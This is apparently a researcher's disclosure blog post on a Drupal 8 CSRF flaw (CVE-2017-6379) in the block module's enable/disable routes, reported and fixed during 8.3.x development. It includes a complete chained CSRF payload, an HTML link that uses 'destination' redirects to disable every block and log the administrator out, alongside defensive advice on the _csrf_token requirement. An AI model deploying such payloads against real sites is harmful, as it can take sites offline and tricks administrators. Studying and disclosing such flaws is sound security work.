Note: The exploit discussed in this post was never included in a stable core release, so don’t freak out! The Drupal security team quickly fixed this while 8.3.x was still in development.

One method I commonly use when auditing Drupal 8 code is to find routes that are accessible to anonymous users, or that check permissions which are commonly assigned to authenticated users. The purpose of this kind of audit is to find an access bypass vulnerability, or a route that is otherwise an easy target for denial of service or remote code execution attacks.

While this research can lead to interesting finds, I’ve found that the code triggered by anonymous routes is usually strongly protected, which makes exploiting publicly accessible routes difficult.

Recently I’ve started focusing on admin routes, which given their stronger access checking are written with the assumption that an admin user does not want to compromise their own site. That assumption is valid, but admin routes will always be vulnerable to two types of attacks by unprivileged users: cross site scripting (XSS), and cross site request forgery (CSRF).

In this post, I’ll go over the specific exploit fixed in SA-2017-001 / CVE-2017-6379, a CSRF vulnerability in the block module which could be used to disable every block on a site, potentially leaving it inoperable. Fun times!

In Drupal, CSRF targets are usually GET routes that perform an administrative action without confirmation. These routes mostly exist so that you can simply link to a simple action instead of redirecting or embedding an entire form. To protect these dangerous GET routes, Drupal requires that a “token” query parameter is present in the request, which validates that the link was generated by the host site for the correct user session.

Of course, not all routes are implicitly protected with a CSRF token. Developers have to explicitly add it to the route definition. For example:

system.run_cron:
  path: '/admin/reports/status/run-cron'
  defaults:
    _controller: '\Drupal\system\CronController::runManually'
  options:
    no_cache: TRUE
  requirements:
    _permission: 'administer site configuration'
    _csrf_token: 'TRUE'

That _csrf_token requirement makes sure that all URLs generated for that route include a valid “token” query parameter.

Knowing all this, I started poking around the admin interface, looking for unprotected links. Eventually, I found that the enable/disable links for blocks at /admin/structure/block did not have a token present, which meant that they were vulnerable to CSRF! An example link to disable a block is /admin/structure/block/manage/bartik_content/disable.

Once you’re aware of a route vulnerable to CSRF, there are two common ways of delivering the payload - either as a link, or as the source in an img tag, which could be present in an email or another site.

This was an interesting find, but I wanted to find a better example exploit. After some tweaking, I realized that I could chain the URLs together with the “destination” query parameter, which allows local redirects in Drupal. Now instead of disabling one block per request, I can send one request that disables all blocks in all enabled themes! Here’s an example payload:

<a href="http://example.com/admin/structure/block/manage/bartik_account_menu/disable
?destination=/admin/structure/block/manage/bartik_branding/disable
?destination=/admin/structure/block/manage/bartik_breadcrumbs/disable
?destination=/admin/structure/block/manage/bartik_content/disable
?destination=/admin/structure/block/manage/bartik_footer/disable
?destination=/admin/structure/block/manage/bartik_help/disable
?destination=/admin/structure/block/manage/bartik_local_actions/disable
?destination=/admin/structure/block/manage/bartik_local_tasks/disable
?destination=/admin/structure/block/manage/bartik_main_menu/disable
?destination=/admin/structure/block/manage/bartik_messages/disable
?destination=/admin/structure/block/manage/bartik_page_title/disable
?destination=/admin/structure/block/manage/bartik_powered/disable
?destination=/admin/structure/block/manage/bartik_search/disable
?destination=/admin/structure/block/manage/bartik_tools/disable
?destination=/admin/structure/block/manage/seven_breadcrumbs/disable
?destination=/admin/structure/block/manage/seven_content/disable
?destination=/admin/structure/block/manage/seven_help/disable
?destination=/admin/structure/block/manage/seven_local_actions/disable
?destination=/admin/structure/block/manage/seven_login/disable
?destination=/admin/structure/block/manage/seven_messages/disable
?destination=/admin/structure/block/manage/seven_page_title/disable
?destination=/admin/structure/block/manage/seven_primary_local_tasks/disable
?destination=/admin/structure/block/manage/seven_secondary_local_tasks/disable
?destination=/user/logout">
  Click me admin!
</a>

(newlines added for readability)

While your browser will eventually give up on following the redirects, Drupal will process them all, disabling all blocks on your site. This method of chained CSRF can be used to exploit multiple routes with one request. I threw in a “/user/logout” at the end for a little extra fun and confusion.

I reported this to the Drupal security team, who acted quickly to commit and release the fix. This sort of thing is easy to fix, and equally easy to overlook. If you provide a route that does something dangerous via GET, make sure you add the csrf_token requirement!